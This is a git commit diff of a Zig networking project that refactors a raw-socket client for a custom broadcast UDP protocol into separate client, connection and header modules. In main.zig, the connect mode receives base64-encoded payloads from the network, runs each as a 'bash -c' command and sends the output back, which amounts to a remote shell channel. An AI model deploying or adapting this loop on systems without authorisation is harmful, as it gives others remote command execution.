Implemented client and connection

This commit is contained in:
2026-01-20 22:41:53 -05:00
parent 067a11ab23
commit 213a01afc8
4 changed files with 245 additions and 249 deletions

View File

@@ -1,101 +1,142 @@
const base64_enc = std.base64.Base64Encoder.init(std.base64.standard_alphabet_chars, '=');
const base64_dec = std.base64.Base64Decoder.init(std.base64.standard_alphabet_chars, '=');
const base64_enc = std.base64.standard.Encoder;
const base64_dec = std.base64.standard.Decoder;
writer: *std.Io.Writer,
const Self = @This();
const Client = @This();
const max_message_size = 2048;
pub fn init(writer: *std.Io.Writer) !Self {
socket: RawSocket,
pub fn init() !Client {
const socket: RawSocket = try .init();
return .{
.writer = writer,
.socket = socket,
};
}
pub fn deinit(self: *Self) void {
self.writer.flush() catch {};
pub fn deinit(self: *Client) void {
self.socket.deinit();
self.* = undefined;
}
pub fn sendRelay(self: *Self, payload: []const u8, dest: [4]u8) !void {
const payload_len = base64_enc.calcSize(payload.len);
pub fn sendRelay(self: *Client, io: Io, payload: []const u8, dest: [4]u8) !void {
const rand = blk: {
const io_source: std.Random.IoSource = .{ .io = io };
break :blk io_source.interface();
};
// Ensure the writer is in a valid state
std.debug.assert(self.writer.buffer.len - self.writer.end >= payload_len);
var headers: EthIpUdp = .{
.src_mac = self.socket.mac,
.ip = .{
.id = rand.int(u16),
.src_addr = 0, //rand.int(u32),
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
.len = undefined,
},
.udp = .{
.src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dst_port = 8888,
.len = undefined,
},
};
const headers_buf = try self.writer.writableSlice(@sizeOf(SaprusMessage) + @sizeOf(SaprusMessage.Relay));
const msg: *align(1) SaprusMessage = .init(.relay, headers_buf);
msg.length = @intCast(payload_len);
const relay = (try msg.getSaprusTypePayload()).relay;
relay.dest = dest;
const relay: SaprusMessage = .{
.relay = .{
.dest = .fromBytes(&dest),
.payload = payload,
},
};
try base64_enc.encodeWriter(self.writer, payload);
try msg.networkFromNativeEndian();
try self.writer.flush();
var relay_buf: [max_message_size - (@bitSizeOf(EthIpUdp) / 8)]u8 = undefined;
const relay_bytes = relay.toBytes(&relay_buf);
headers.setPayloadLen(relay_bytes.len);
const full_msg = blk: {
var msg_buf: [max_message_size]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(relay_bytes) catch unreachable;
break :blk msg_w.buffered();
};
try self.socket.send(full_msg);
}
// pub fn sendInitialConnection(
// self: Self,
// payload: []const u8,
// output_bytes: []u8,
// initial_port: u16,
// ) !*align(1) SaprusMessage {
// const dest_port = self.randomPort();
// const msg_bytes = output_bytes[0..try SaprusMessage.calcSize(
// .connection,
// base64_enc.calcSize(payload.len),
// )];
// const msg: *align(1) SaprusMessage = .init(.connection, msg_bytes);
pub fn connect(self: Client, io: Io, payload: []const u8) !SaprusConnection {
const rand = blk: {
const io_source: std.Random.IoSource = .{ .io = io };
break :blk io_source.interface();
};
// const connection = (try msg.getSaprusTypePayload()).connection;
// connection.src_port = initial_port;
// connection.dest_port = dest_port;
// _ = base64_enc.encode(connection.getPayload(), payload);
var headers: EthIpUdp = .{
.src_mac = self.socket.mac,
.ip = .{
.id = rand.int(u16),
.src_addr = 0, //rand.int(u32),
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
.len = undefined,
},
.udp = .{
.src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dst_port = 8888,
.len = undefined,
},
};
// try broadcastSaprusMessage(msg_bytes, 8888);
// udp dest port should not be 8888 after first
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
var connection: SaprusMessage = .{
.connection = .{
.src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.seq = undefined,
.id = undefined,
.payload = payload,
},
};
// return msg;
// }
try self.socket.attachSaprusPortFilter(connection.connection.src);
// pub fn connect(self: Self, payload: []const u8) !?SaprusConnection {
// const initial_port = self.randomPort();
var connection_buf: [2048]u8 = undefined;
var connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
// var initial_conn_res: ?*align(1) SaprusMessage = null;
var full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
break :blk msg_w.buffered();
};
// var sock = try network.Socket.create(.ipv4, .udp);
// defer sock.close();
try self.socket.send(full_msg);
var res_buf: [4096]u8 = undefined;
// // Bind to 255.255.255.255:8888
// const bind_addr = network.EndPoint{
// .address = network.Address{ .ipv4 = network.Address.IPv4.broadcast },
// .port = 8888,
// };
// Ignore response from sentinel, just accept that we got one.
_ = try self.socket.receive(&res_buf);
try io.sleep(.fromMilliseconds(40), .real);
// // timeout 1s
// try sock.setReadTimeout(1 * std.time.us_per_s);
// try sock.bind(bind_addr);
headers.udp.dst_port = udp_dest_port;
headers.ip.id = rand.int(u16);
// var sent_msg_bytes: [max_message_size]u8 align(@alignOf(SaprusMessage)) = undefined;
// const msg = try self.sendInitialConnection(payload, &sent_msg_bytes, initial_port);
full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
break :blk msg_w.buffered();
};
try self.socket.send(full_msg);
// var response_buf: [max_message_size]u8 align(@alignOf(SaprusMessage)) = undefined;
// _ = try sock.receive(&response_buf); // Ignore message that I sent.
// const len = try sock.receive(&response_buf);
return .init(self.socket, headers, connection);
}
// initial_conn_res = try .networkBytesAsValue(response_buf[0..len]);
// // Complete handshake after awaiting response
// try broadcastSaprusMessage(msg.asBytes(), self.randomPort());
// if (false) {
// return initial_conn_res.?;
// }
// return null;
// }
const RawSocket = @import("./RawSocket.zig");
const SaprusMessage = @import("message.zig").Message;
const SaprusConnection = @import("Connection.zig");
const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
const std = @import("std");
const network = @import("network");
const Io = std.Io;
const Writer = std.Io.Writer;

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@@ -0,0 +1,59 @@
socket: RawSocket,
headers: EthIpUdp,
connection: SaprusMessage,
const Connection = @This();
pub fn init(socket: RawSocket, headers: EthIpUdp, connection: SaprusMessage) Connection {
return .{
.socket = socket,
.headers = headers,
.connection = connection,
};
}
pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 {
_ = io;
const res = try self.socket.receive(buf);
const connection_res = blk: {
const msg: SaprusMessage = try .parse(res[42..]);
break :blk msg.connection;
};
return connection_res.payload;
}
pub fn send(self: *Connection, io: Io, buf: []const u8) !void {
const rand = blk: {
const io_source: std.Random.IoSource = .{ .io = io };
break :blk io_source.interface();
};
self.connection.connection.payload = buf;
const connection_bytes = blk: {
var connection_bytes: [2048]u8 = undefined;
break :blk self.connection.toBytes(&connection_bytes);
};
self.headers.setPayloadLen(connection_bytes.len);
self.headers.ip.id = rand.int(u16);
const full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
try msg_w.writeAll(&self.headers.toBytes());
try msg_w.writeAll(connection_bytes);
break :blk msg_w.buffered();
};
try self.socket.send(full_msg);
}
const std = @import("std");
const Io = std.Io;
const Writer = std.Io.Writer;
const SaprusMessage = @import("./message.zig").Message;
const EthIpUdp = @import("./EthIpUdp.zig").EthIpUdp;
const RawSocket = @import("./RawSocket.zig");

57
src/EthIpUdp.zig Normal file
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@@ -0,0 +1,57 @@
pub const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
// --- UDP (Last in memory, defined first for LSB->MSB) ---
udp: packed struct {
checksum: u16 = 0,
len: u16,
dst_port: u16,
src_port: u16,
},
// --- IP ---
ip: packed struct {
dst_addr: u32,
src_addr: u32,
header_checksum: u16 = 0,
protocol: u8 = 17, // udp
ttl: u8 = 0x40,
// fragment_offset (13 bits) + flags (3 bits) = 16 bits
// In Big Endian, flags are the high bits of the first byte.
// To have flags appear first in the stream, define them last here.
fragment_offset: u13 = 0,
flags: packed struct(u3) {
reserved: u1 = 0,
dont_fragment: u1 = 1,
more_fragments: u1 = 0,
} = .{},
id: u16,
len: u16,
tos: u8 = undefined,
// ip_version (4 bits) + ihl (4 bits) = 8 bits
// To have version appear first (high nibble), define it last.
ihl: u4 = 5,
ip_version: u4 = 4,
},
// --- Ethernet ---
eth_type: u16 = std.os.linux.ETH.P.IP,
src_mac: @Vector(6, u8),
dst_mac: @Vector(6, u8) = @splat(0xff),
pub fn toBytes(self: @This()) [336 / 8]u8 {
var res: [336 / 8]u8 = undefined;
var w: Writer = .fixed(&res);
w.writeStruct(self, .big) catch unreachable;
return res;
}
pub fn setPayloadLen(self: *@This(), len: usize) void {
self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
}
};
const std = @import("std");
const Writer = std.Io.Writer;

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@@ -90,170 +90,29 @@ pub fn main(init: std.process.Init) !void {
return error.InvalidArguments;
}
const rand = blk: {
const io_source: std.Random.IoSource = .{ .io = init.io };
break :blk io_source.interface();
};
// const net_interface: std.Io.net.Interface = .{ .index = 1 };
// std.debug.print("Interface: {s}\n", .{(try net_interface.name(init.io)).toSlice()});
const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
// --- UDP (Last in memory, defined first for LSB->MSB) ---
udp: packed struct {
checksum: u16 = 0,
len: u16,
dst_port: u16,
src_port: u16,
},
// --- IP ---
ip: packed struct {
dst_addr: u32,
src_addr: u32,
header_checksum: u16 = 0,
protocol: u8 = 17, // udp
ttl: u8 = 0x40,
// fragment_offset (13 bits) + flags (3 bits) = 16 bits
// In Big Endian, flags are the high bits of the first byte.
// To have flags appear first in the stream, define them last here.
fragment_offset: u13 = 0,
flags: packed struct(u3) {
reserved: u1 = 0,
dont_fragment: u1 = 1,
more_fragments: u1 = 0,
} = .{},
id: u16,
len: u16,
tos: u8 = undefined,
// ip_version (4 bits) + ihl (4 bits) = 8 bits
// To have version appear first (high nibble), define it last.
ihl: u4 = 5,
ip_version: u4 = 4,
},
// --- Ethernet ---
eth_type: u16 = std.os.linux.ETH.P.IP,
src_mac: @Vector(6, u8),
dst_mac: @Vector(6, u8) = @splat(0xff),
fn toBytes(self: @This()) [336 / 8]u8 {
var res: [336 / 8]u8 = undefined;
var w: Writer = .fixed(&res);
w.writeStruct(self, .big) catch unreachable;
return res;
}
fn setPayloadLen(self: *@This(), len: usize) void {
self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
}
};
var socket: RawSocket = try .init();
defer socket.deinit();
var headers: EthIpUdp = .{
.src_mac = socket.mac,
.ip = .{
.id = rand.int(u16),
.src_addr = 0, //rand.int(u32),
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
.len = undefined,
},
.udp = .{
.src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dst_port = 8888,
.len = undefined,
},
};
var client: SaprusClient = try .init();
defer client.deinit();
if (flags.relay != null) {
const relay: SaprusMessage = .{
.relay = .{
.dest = .fromBytes(&parseDest(flags.dest)),
.payload = flags.relay.?,
},
};
var relay_buf: [2048]u8 = undefined;
const relay_bytes = relay.toBytes(&relay_buf);
headers.setPayloadLen(relay_bytes.len);
const full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(relay_bytes) catch unreachable;
break :blk msg_w.buffered();
};
try socket.send(full_msg);
try client.sendRelay(init.io, flags.relay.?, parseDest(flags.dest));
return;
}
if (flags.connect != null) {
reconnect: while (true) {
headers.udp.dst_port = 8888;
const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
// udp dest port should not be 8888 after first
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
var connection: SaprusMessage = .{
.connection = .{
.src = src,
.dest = dest,
.seq = undefined,
.id = undefined,
.payload = flags.connect.?,
},
};
try socket.attachSaprusPortFilter(src);
var connection_buf: [2048]u8 = undefined;
var connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
var full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
break :blk msg_w.buffered();
};
socket.send(full_msg) catch continue;
var res_buf: [4096]u8 = undefined;
var res = socket.receive(&res_buf) catch continue;
try init.io.sleep(.fromMilliseconds(40), .real);
headers.udp.dst_port = udp_dest_port;
headers.ip.id = rand.int(u16);
full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
break :blk msg_w.buffered();
};
socket.send(full_msg) catch continue;
var connection = try client.connect(init.io, flags.connect.?);
while (true) {
res = socket.receive(&res_buf) catch continue :reconnect;
try init.io.sleep(.fromMilliseconds(40), .real);
const connection_res = blk: {
const msg: SaprusMessage = try .parse(res[42..]);
break :blk msg.connection;
};
var res_buf: [2048]u8 = undefined;
const next = connection.next(init.io, &res_buf) catch continue :reconnect;
const b64d = std.base64.standard.Decoder;
var connection_payload_buf: [4096]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
try b64d.decode(connection_payload, connection_res.payload);
var connection_payload_buf: [2048]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
b64d.decode(connection_payload, next) catch {
// TODO: debug log
continue;
};
const child = std.process.spawn(init.io, .{
.argv = &.{ "bash", "-c", connection_payload },
@@ -266,29 +125,15 @@ pub fn main(init: std.process.Init) !void {
var child_stderr: std.ArrayList(u8) = .empty;
defer child_stderr.deinit(init.gpa);
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048);
const b64e = std.base64.standard.Encoder;
var cmd_output_buf: [4096]u8 = undefined;
const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
var cmd_output_buf: [2048]u8 = undefined;
const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
connection.connection.payload = cmd_output;
connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
headers.ip.id = rand.int(u16);
full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch continue;
msg_w.writeAll(connection_bytes) catch continue;
break :blk msg_w.buffered();
};
try socket.send(full_msg);
connection.send(init.io, encoded_cmd_output) catch continue;
try init.io.sleep(.fromMilliseconds(40), .real);
}
return;
}
}
@@ -317,11 +162,5 @@ const StaticStringMap = std.StaticStringMap;
const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;
const RawSocketWriter = zaprus.RawSocketWriter;
const AF = std.os.linux.AF;
const SOCK = std.os.linux.SOCK;
const RawSocket = @import("./RawSocket.zig");
const Writer = std.Io.Writer;